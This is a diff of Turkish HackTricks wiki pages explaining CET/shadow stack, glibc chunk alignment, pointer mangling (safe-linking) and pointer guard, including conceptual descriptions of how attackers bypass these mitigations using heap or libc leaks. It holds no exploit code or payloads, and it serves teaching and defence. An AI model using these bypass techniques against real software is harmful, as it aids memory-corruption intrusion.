AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,35 +1,51 @@
# CET ve Shadow Stack
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
</details>
{% endhint %}
## Kontrol Akışı Uygulama Teknolojisi (CET)
**CET**, **Dönüşe Yönelik Programlama (ROP)** ve **Atlamaya Yönelik Programlama (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek amacıyla donanım düzeyinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, bir programın yürütme akışını manipüle ederek kötü amaçlı kodu yürütmek veya zararsız kod parçalarını bir araya getirerek kötü amaçlı bir eylem gerçekleştirmek için kullanılır.
**CET**, yaygın kontrol akışı ele geçirme saldırılarını engellemek amacıyla donanım düzeyinde uygulanan bir güvenlik özelliğidir. Bu tür saldırılar, **Return-Oriented Programming (ROP)** ve **Jump-Oriented Programming (JOP)** gibi yaygın kontrol akışı ele geçirme saldırılarını engellemek için tasarlanmıştır. Bu tür saldırılar, bir programın yürütme akışını manipüle ederek kötü amaçlı kodu yürütmek veya zararsız kod parçalarını bir araya getirerek kötü amaçlı bir eylem gerçekleştirmek için kullanılır.
CET, **Dolaylı Dalış İzleme (IBT)** ve **Shadow Stack** olmak üzere iki ana özellik sunar.
CET, **Dolaylı Dalga İzleme (IBT)** ve **Shadow Stack** olmak üzere iki ana özellik tanıtır.
* **IBT**, dolaylı sıçramaların ve çağrıların yalnızca geçerli hedeflere yapıldığından emin olur. Bu, geçerli hedefleri belirleyen yeni bir talimat setinin kullanımıyla gerçekleştirilir, böylece saldırganların kontrol akışını keyfi konumlara yönlendirmesini engeller.
* **Shadow Stack**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Normal çağrı yığınından ayrı, güvenli ve gizli bir dönüş adresi kopyasını tutar. Bir işlev döndüğünde, dönüş adresi shadow stack'te saklanan değerle karşılaştırılarak doğrulanır, bu da saldırganların kontrol akışını ele geçirmek için yığında dönüş adreslerini üzerine yazmasını engeller.
* **IBT**, dolaylı sıçramaların ve çağrıların geçerli hedeflere yapıldığından emin olur. Dolaylı dallanmalar için geçerli hedefler olarak açıkça işaretlenen bir yeni komut seti kullanılarak bu sağlanır, böylece saldırganların kontrol akışını keyfi konumlara yönlendirmesini engeller.
* **Shadow Stack**, dönüş adresleri için bütünlük sağlayan bir mekanizmadır. Dönüş adreslerinin güvenli, gizli bir kopyasını düzenli çağrı yığınından ayrı olarak tutar. Bir işlev döndüğünde, dönüş adresi shadow stack ile karşılaştırılarak doğrulanır, bu da saldırganların kontrol akışını ele geçirmek için yığında dönüş adreslerini üzerine yazmasını engeller.
## Shadow Stack
**Shadow stack**, **yalnızca dönüş adreslerini depolamak için kullanılan özel bir yığın**tır. Normal yığınla birlikte çalışır ancak korunur ve normal program yürütmesinden gizlenir, bu da saldırganların müdahale etmesini zorlaştırır. Shadow stack'in temel amacı, dönüş adreslerinde yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır, bu da ROP saldırılarını etkili bir şekilde azaltır.
**Shadow stack**, **yalnızca dönüş adreslerini depolamak için kullanılan özel bir yığın**tır. Normal yığınla birlikte çalışır ancak normal program yürütmesinden korunur ve gizlidir, bu da saldırganların müdahale etmesini zorlaştırır. Shadow stack'in temel amacı, dönüş adreslerinde yapılan herhangi bir değişikliğin kullanılmadan önce tespit edilmesini sağlamaktır, bu da ROP saldırılarını etkili bir şekilde azaltır.
## CET ve Shadow Stack Nasıl Saldırıları Önler
**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirme yeteneğine dayanır ve onları yığında işaretçileri veya dönüş adreslerini üzerine yazmalarına izin veren zayıflıkları kullanarak yürütme akışını ele geçirir. Var olan kod parçaları veya dönüşe yönelik programlama parçaları dizilerine yönlendirerek saldırganlar keyfi kodu yürütebilir.
**ROP ve JOP saldırıları**, bir uygulamanın kontrol akışını ele geçirme yeteneğine dayanır ve onlara, yığında işaretçileri veya dönüş adreslerini üzerine yazmalarına izin veren zayıflıkları kullanarak kötü amaçlı kodları yürütmelerini sağlar. Varolan kod parçaları veya return-oriented programming parçaları üzerine yönlendirerek saldırganlar keyfi kodları yürütebilirler.
* **CET'in IBT** özelliği, dolaylı sıçramaların yalnızca açıkça geçerli hedeflere sıçramasını sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerine yayılmış keyfi parçaları yürütmesini imkansız hale getirir.
* **Shadow stack** ise, saldırganın normal yığında bir dönüş adresini üzerine yazabilse bile, işlevden dönerken, bozulmuş adresin shadow stack'te saklanan güvenli kopya ile karşılaştırıldığında **uyumsuzluk tespit edilecektir**. Adresler eşleşmezse, program saldırının başarısız olmasını sağlamak için sonlandırılabilir veya diğer güvenlik önlemleri alınabilir.
* **CET'in IBT** özelliği, dolaylı dallanmaların yalnızca açıkça geçerli hedeflere sıçramasını sağlayarak bu saldırıları önemli ölçüde zorlaştırır. Bu, saldırganların ikili dosya üzerine yayılmış keyfi parçaları yürütmesini imkansız hale getirir.
* **Shadow stack** ise, saldırganın normal yığında bir dönüş adresini üzerine yazabilse bile, bir işlevden dönerken bozulmuş adresi shadow stack'te saklanan güvenli kopya ile karşılaştırıldığında **uyumsuzluk tespit edilecektir**. Adresler eşleşmiyorsa, program saldırının başarısız olmasını önlemek için sonlandırılabilir veya diğer güvenlik önlemleri alınabilir.
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR gönderin.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Libc Korumaları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Parça Hizalaması Zorlaması
**Malloc**, belleği **8 bayt (32 bit) veya 16 bayt (64 bit) gruplarında** ayırır. Bu, 32 bit sistemlerde parçaların sonunun **0x8** ile, 64 bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, bir kutudan bir işaretçi kullanmadan önce her parçanın bu belirli konumlarda **doğru şekilde hizalandığını** kontrol eder.
**Malloc**, belleği **8 bayt (32-bit) veya 16 bayt (64-bit) gruplarında** ayırır. Bu, 32-bit sistemlerde parçaların sonunun **0x8** ile, 64-bit sistemlerde ise **0x0** ile hizalanması gerektiği anlamına gelir. Güvenlik özelliği, bir bin'den bir işaretçi kullanmadan önce her parçanın bu belirli konumlarda **doğru şekilde hizalandığını** kontrol eder.
### Güvenlik Avantajları
64 bit sistemlerde parça hizalamasının zorunlu olması, Malloc'un güvenliğini önemli ölçüde artırır çünkü sahte parçaların yerleştirilmesini sadece **her 16 adresin 1'inde** sınırlar. Bu, özellikle kullanıcının giriş değerleri üzerinde sınırlı kontrolü olduğu senaryolarda saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirmeyi zorlaştırır.
64-bit sistemlerde parça hizalamasının zorunlu olması, Malloc'ın güvenliğini önemli ölçüde artırır çünkü **sahte parçaların yerleştirilmesini sadece her 16 adresin birine** sınırlar. Bu, özellikle kullanıcının giriş değerleri üzerinde sınırlı kontrolü olduğu senaryolarda saldırıları daha karmaşık ve başarılı bir şekilde gerçekleştirmeyi zorlaştırır.
* **\_\_malloc\_hook Üzerindeki Fastbin Saldırısı**
@ -28,7 +29,7 @@ Malloc'daki yeni hizalama kuralları, `__malloc_hook`'u içeren klasik bir sald
## Fastbin ve tcache Üzerinde İşaretçi Karıştırma
**İşaretçi Karıştırma**, bellek yönetimi işlemlerinde **fastbin ve tcache Fd işaretçilerini korumak için kullanılan bir güvenlik artışıdır**. Bu teknik, sızdırılmış bellek bilgilerini gerektirmeyen veya bilinen konumlara doğrudan bellek konumlarını manipüle eden belirli türde bellek sömürü taktiklerini önlemeye yardımcı olur (göreceli **üzerine yazmalar**).
**İşaretçi Karıştırma**, bellek yönetimi işlemlerinde **fastbin ve tcache Fd işaretçilerini** korumak için kullanılan bir güvenlik artırmasıdır. Bu teknik, sızdırılmış bellek bilgisi gerektirmeyen veya bilinen konumlara doğrudan bağlı bellek konumlarını manipüle eden belirli türdeki bellek sömürü taktiklerini önlemeye yardımcı olur (**bağıl **üzerine yazmalar).
Bu tekniğin çekirdeği bir karıştırma formülüdür:
@ -37,20 +38,20 @@ Bu tekniğin çekirdeği bir karıştırma formülüdür:
* **L**, işaretçinin **Depolama Konumu**'dur.
* **P**, gerçek **fastbin/tcache Fd İşaretçisi**'dir.
Depolama konumunun (L) XOR işleminden önce 12 bit sağa kaydırılmasının nedeni kritiktir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirlenmiş doğasıyla ilgili bir zayıflığı ele alır. Bitleri kaydırarak, tahmin edilebilir kısmın denklem dışına çıkarılması, yeni, karışık işaretçinin rastgeleliğini artırır ve bu sayede bu bitlerin tahmin edilebilirliğine dayanan saldırılara karşı koruma sağlar.
Depolama konumunun (L) XOR işleminden önce 12 bit sağa kaydırılmasının nedeni kritiktir. Bu manipülasyon, bellek adreslerinin en az anlamlı 12 bitinin belirlenmiş doğasıyla ilgili bir zafiyeti ele alır. Bu bitler genellikle sistem mimarisi kısıtlamaları nedeniyle tahmin edilebilir olduğundan, bitleri kaydırarak, tahmin edilebilir kısmın denklem dışına çıkarılması, yeni, karışık işaretçinin rastgeleliğini artırır ve böylece bu bitlerin tahmin edilebilirliğine dayanan saldırılara karşı koruma sağlar.
Bu karışık işaretçi, programların kullandığı adresleri rastgele hale getiren **Adres Alanı Düzeni Rastgeleleştirme (ASLR)** tarafından sağlanan mevcut rastgeleliği kullanır.
İşaretçiyi orijinal adresi almak için **karıştırma işlemi** aynı XOR işlemi kullanılarak gerçekleştirilir. Burada, karışık işaretçi formülde P olarak işlem görür ve değişmeyen depolama konumu (L) ile XOR işlemine tabi tutulduğunda orijinal işaretçi ortaya çıkar. Bu karıştırma ve çözme simetrisi, sistemin bellek işaretçilerini etkili bir şekilde kodlamasına ve kodlamasına olanak tanırken, bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır.
İşaretçiyi orijinal adresi almak için **karıştırma** işlemi, aynı XOR işlemi kullanılarak yapılır. Burada, karışık işaretçi formülde P olarak işlem görür ve değişmeyen depolama konumu (L) ile XOR işlemine tabi tutulduğunda orijinal işaretçi ortaya çıkar. Bu karıştırma ve çözme simetrisi, sistemin bellek işaretçilerini etkin bir şekilde kodlamasına ve kodlamasına olanak tanırken, bellek işaretçilerini manipüle eden saldırılara karşı güvenliği önemli ölçüde artırır.
### Güvenlik Avantajları
İşaretçi karıştırma, heap yönetiminde **kısmi ve tam işaretçi üzerine yazmaları önlemeyi amaçlar**, güvenlik açısından önemli bir artış sağlar. Bu özellik, sömürü tekniklerini birkaç şekilde etkiler:
İşaretçi karıştırma, heap yönetiminde **kısmi ve tam işaretçi üzerine yazmaları önlemeyi** amaçlar ve bu, güvenlik açısından önemli bir gelişmedir. Bu özellik, sömürü tekniklerini birkaç şekilde etkiler:
1. **Bye Byte Göreceli Üzerine Yazmaların Önlenmesi**: Önceden, saldırganlar, **kesin adresleri bilmeden** heap parçalarını farklı konumlara yönlendirmek için işaretçinin bir kısmını değiştirebilirdi, bu teknik, sızıntısız **House of Roman** sömürüsünde açıkça görülebilir. İşaretçi karıştırma ile, bu tür göreceli üzerine yazmalar **bir heap sızıntısı olmadan artık kaba kuvvet gerektirir**, başarılı olma olasılıklarını büyük ölçüde azaltır.
2. **Tcache Bin/Fastbin Saldırılarının Zorlaştırılması**: Fastbin veya tcache girişlerini manipüle ederek işlev işaretçilerini (örneğin, `__malloc_hook`) üzerine yazan yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresi sızdırmayı, bir parçayı tcache binine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için üzerine yazmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru şekilde karıştırılması gerekmektedir, **doğru manipülasyon için bir heap sızıntısı gerektirir**, böylece sömürü engeli yükseltilir.
3. **Heap Sızıntıları İçin Heap Sızıntıları Gerekliliği**: Sahte bir parça oluşturmak artık heap sızıntısı gerektiren non-heap alanlarda (örneğin, yığın, .bss bölümü veya PLT/GOT) da **gereklidir**. Bu, bu alanların sömürülmesinin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimi gibi.
4. **Heap Adreslerinin Sızdırılması Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache kutularındaki Fd işaretçilerinin heap adres sızıntıları için kullanışlılığını kısıtlar. Bununla birlikte, sıralanmamış, küçük ve büyük kutulardaki işaretçiler karıştırılmamış olarak kalır, bu nedenle hala adres sızıntıları için kullanılabilirler. Bu değişiklik, saldırganları bu kutularda sömürülebilir bilgileri keşfetmeye zorlar, ancak bazı teknikler hala bir sızıntıdan önce işaretçilerin çözülmesine izin verebilir, ancak kısıtlamalarla.
1. **Bye Byte Bağıl Üzerine Yazmaların Önlenmesi**: Önceden, saldırganlar, **kesin adresleri bilmeden** heap parçalarını farklı konumlara yönlendirmek için işaretçinin bir kısmını değiştirebilirdi, bu teknik, sızıntısız **House of Roman** sömürüsünde açıkça görülebilir. İşaretçi karıştırma ile, bu tür bağıl üzerine yazmalar **artık bir heap sızıntısı gerektirir**, başarılı olma olasılığını büyük ölçüde azaltarak.
2. **Tcache Bin/Fastbin Saldırılarının Zorlaştırılması**: Fastbin veya tcache girişlerini manipüle ederek işlev işaretçilerini (örneğin, `__malloc_hook`) üzerine yazan yaygın saldırılar engellenir. Örneğin, bir saldırı, bir LibC adresi sızdırmayı, bir parçayı tcache bölmesine serbest bırakmayı ve ardından Fd işaretçisini `__malloc_hook`'a yönlendirmek için üzerine yazmayı içerebilir. İşaretçi karıştırma ile, bu işaretçilerin doğru şekilde karıştırılması gerekmektedir, **doğru manipülasyon için bir heap sızıntısı gerektirir**, böylece sömürü engeli yükseltilir.
3. **Heap Sızıntıları İçin Heap Sızıntıları Gerekliliği**: Sahte bir parça oluşturmak artık heap sızıntısı gerektiren non-heap alanlarda (örneğin, yığın, .bss bölümü veya PLT/GOT) da gereklidir. Bu, bu alanların sömürülmesinin karmaşıklığını artırır, LibC adreslerini manipüle etme gereksinimi gibi.
4. **Heap Adreslerinin Sızdırılması Daha Zor Hale Gelir**: İşaretçi karıştırma, fastbin ve tcache bölümlerindeki Fd işaretçilerinin heap adres sızıntıları için kullanışlılığını kısıtlar. Ancak, sıralanmamış, küçük ve büyük bölümlerdeki işaretçiler karıştırılmamış kalır, bu nedenle hala adres sızıntıları için kullanılabilirler. Bu değişiklik, saldırganları bu bölümlerde sömürülebilir bilgileri keşfetmeye zorlar, ancak bazı teknikler hala sızıntıdan önce işaretçilerin çözülmesine izin verebilir, ancak kısıtlamalarla.
### **Heap Sızıntısı ile İşaretçilerin Çözülmesi**
@ -64,29 +65,29 @@ Bu karışık işaretçi, programların kullandığı adresleri rastgele hale ge
**`Yeni_Ptr = (L >> 12) XOR P`**
Burada **L**, depolama konumu ve **P**, Fd işaretçisidir. **L**'nin 12 bit sağa kaydırılmasıyla, **XOR**'un doğası gereği, kendisiyle XOR işlemi yapıldığında 0 çıktığından dolayı, **P**'nin en üst 12 bitini elde edersiniz.
Burada **L**, depolama konumu ve **P**, Fd işaretçisidir. **L**'nin 12 bit sağa kaydırılmasıyla, **XOR**'un doğası gereği, kendileriyle XOR işlemi yapıldığında 0 çıktığında, **P**'nin en üst 12 bitini elde edersiniz.
**Algoritmadaki Ana Adımlar:**
1. **En Önemli Bitlerin Başlangıç Sızıntısı**: Kaydırılmış **L**'yi **P** ile XORladığınızda, kaydırılmış **L**'nin sıfır olacağından dolayı, **P**'nin ilgili bitleri değişmeden kalır ve **P**'nin en üst 12 bitini elde edersiniz.
2. **İşaretçi Bitlerinin Kurtarılması**: XOR tersine çevrilebilir olduğundan, sonucu ve bir operatörü bildiğinizde diğer operatörü hesaplayabilirsiniz. Bu özellik, karışık işaretçinin parçalarını sırayla XORlayarak **P**'nin tam kümesini çıkarmak için kullanılır.
3. **İteratif Karıştırma Çözme**: İşlem, her seferinde önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak tekrarlanır, tüm bitler kurtarıldığında.
4. **Belirlenen Bitlerin İşlenmesi**: Kaydırma nedeniyle **L**'nin son 12 biti kaybolur, ancak bunlar belirlidir ve işlem sonrası yeniden oluşturulabilir.
2. **İşaretçi Bitlerinin Kurtarılması**: XOR tersine çevrilebilir olduğundan, sonucu ve bir operatörü bildiğinizde diğer operatörü hesaplayabilirsiniz. Bu özellik, karışık işaretçinin parçalarının tamamını, karışık işaretçinin parçalarının parçalarını sırayla XORlayarak çıkarmanızı sağlar.
3. **İteratif Karıştırma Çözme**: İşlem, her seferinde önceki adımdan elde edilen **P**'nin yeni keşfedilen bitlerini kullanarak tekrarlanır ve tüm bitler kurtarıncaya kadar devam eder.
4. **Belirlenmiş Bitlerin İşlenmesi**: Kaydırma nedeniyle **L**'nin son 12 biti kaybolur, ancak bunlar belirlidir ve işlem sonrası yeniden oluşturulabilir.
Bu algoritmanın bir uygulamasını burada bulabilirsiniz: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
Pointer guard, glibc'de kullanılan bir sömürü koruma tekniğidir ve özellikle `atexit()` gibi kütüphane çağrıları tarafından kaydedilen işlev işaretçilerini korumak için kullanılır. Bu koruma, işaretçileri `fs:0x30` konumundaki bir gizli değerle XOR işlemine tabi tutarak ve bit düzeyinde bir döndürme işlemi uygulayarak karıştırarak gerçekleştirilir. Bu mekanizma, saldırganların işlev işaretçilerini üzerine yazarak kontrol akışını ele geçirmesini engellemeyi amaçlar.
Pointer guard, glibc'de kullanılan bir sömürü koruma tekniğidir ve özellikle `atexit()` gibi kütüphane çağrıları tarafından kaydedilen işlev işaretçilerini korumak için kullanılır. Bu koruma, işaretçileri `fs:0x30` konumundaki bir gizli değerle XOR işlemine tabi tutarak ve bit düzeyinde bir döndürme işlemi uygulayarak karıştırma işlemi içerir. Bu mekanizma, saldırganların işlev işaretçilerini üzerine yazarak kontrol akışını ele geçirmesini engellemeyi amaçlar.
### **Pointer Guard'ı Bir Sızıntı ile Atlatma**
1. **Pointer Guard İşlemlerini Anlama:** İşaretçilerin karıştırılması `PTR_MANGLE` makrosu kullanılarak yapılır. Bu makro işaretçiyi bir 64 bitlik gizli değerle XOR'lar ve ardından 0x11 bitlik bir sola döndürme işlemi gerçekleştirir. Orijinal işaretçiyi kurtarmak için ters işlem `PTR_DEMANGLE` tarafından gerçekleştirilir.
2. **Saldırı Stratejisi:** Saldırı, bilinen-metin yaklaşımına dayanır, saldırganın karıştırma için kullanılan gizli değeri çıkarmak için bir işaretçinin hem orijinal hem de karıştırılmış sürümlerini bilmelidir.
1. **Pointer Guard İşlemlerini Anlama:** İşaretçilerin karıştırılması, işaretçilerin `PTR_MANGLE` makrosunu kullanarak 64 bitlik bir gizli değerle XOR işlemine tabi tutulması ve ardından 0x11 bitlik bir sola döndürme işlemiyle gerçekleştirilir. Orijinal işaretçiyi kurtarmak için ters işlem, `PTR_DEMANGLE` tarafından ele alınır.
2. **Saldırı Stratejisi:** Saldırı, bilinen-metin yaklaşımına dayanır, saldırganın karıştırma için kullanılan gizli değeri çıkarmak için bir işaretçinin hem orijinal hem de karıştırılmış sürümlerini bilmeleri gerekmektedir.
3. **Bilinen Metinlerin Sömürülmesi:**
* **Sabit İşlev İşaretçilerini Tanımlama:** glibc kaynak kodunu inceleyerek veya `__libc_pthread_functions` gibi başlatılmış işlev işaretçisi tablolarını inceleyerek, saldırgan öngörülebilir işlev işaretçileri bulabilir.
* **Gizli Değeri Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisi ve işlev işaretçisi tablosundan karıştırılmış sürümü kullanarak, gizli değer, karıştırılmış işaretçiyi ters döndürerek (sağa döndürme) ve ardından işlevin adresiyle XOR işlemi yaparak hesaplanabilir.
4. **Alternatif Metinler:** Saldırgan, bellekte tanınabilir desenler oluşturup oluşturmadığını görmek için bilinen değerlerle (örneğin 0 veya -1) işaretçileri karıştırmayı deneyebilir; bu desenler bellek dökümlerinde bulunduğunda gizli değeri ortaya çıkarabilir.
5. **Pratik Uygulama:** Gizli değeri hesapladıktan sonra, bir saldırgan libc taban adresini ve keyfi bellek konumlarını okuma yeteneği ile çoklu iş parçacıklı bir uygulamada Pointer Guard korumasını atlayabilir, işaretçileri kontrol edilmiş bir şekilde manipüle edebilir.
* **Sabit İşlev İşaretçilerini Tanımlama:** glibc kaynak kodunu veya başlatılmış işlev işaretçisi tablolarını (örneğin `__libc_pthread_functions`) inceleyerek, bir saldırgan öngörülebilir işlev işaretçileri bulabilir.
* **Gizli Değeri Hesaplama:** `__pthread_attr_destroy` gibi bilinen bir işlev işaretçisini ve işlev işaretçisi tablosundan karıştırılmış sürümünü kullanarak, gizli değer, karıştırılmış işaretçiyi ters döndürerek (sağa döndürme) ve ardından işlevin adresiyle XOR işlemi yaparak hesaplanabilir.
4. **Alternatif Metinler:** Saldırgan, bellekte tanınabilir desenler oluşturup oluşturmadığını görmek için bilinen değerlerle (örneğin 0 veya -1) işaretçileri karıştırmayı deneyebilir; bu desenler bellek dökümlerinde bulunduğunda, gizli değeri ortaya çıkarabilir.
5. **Pratik Uygulama:** Gizli değeri hesapladıktan sonra, bir saldırgan, libc taban adresini bilerek ve keyfi bellek konumlarını okuyabilme yeteneğiyle, işaretçileri kontrol edilmiş bir şekilde manipüle edebilir ve temelde Pointer Guard korumasını atlayabilir.
## Referanslar

View file

@ -1,28 +1,29 @@
# Bellek Etiketleme Uzantısı (MTE)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
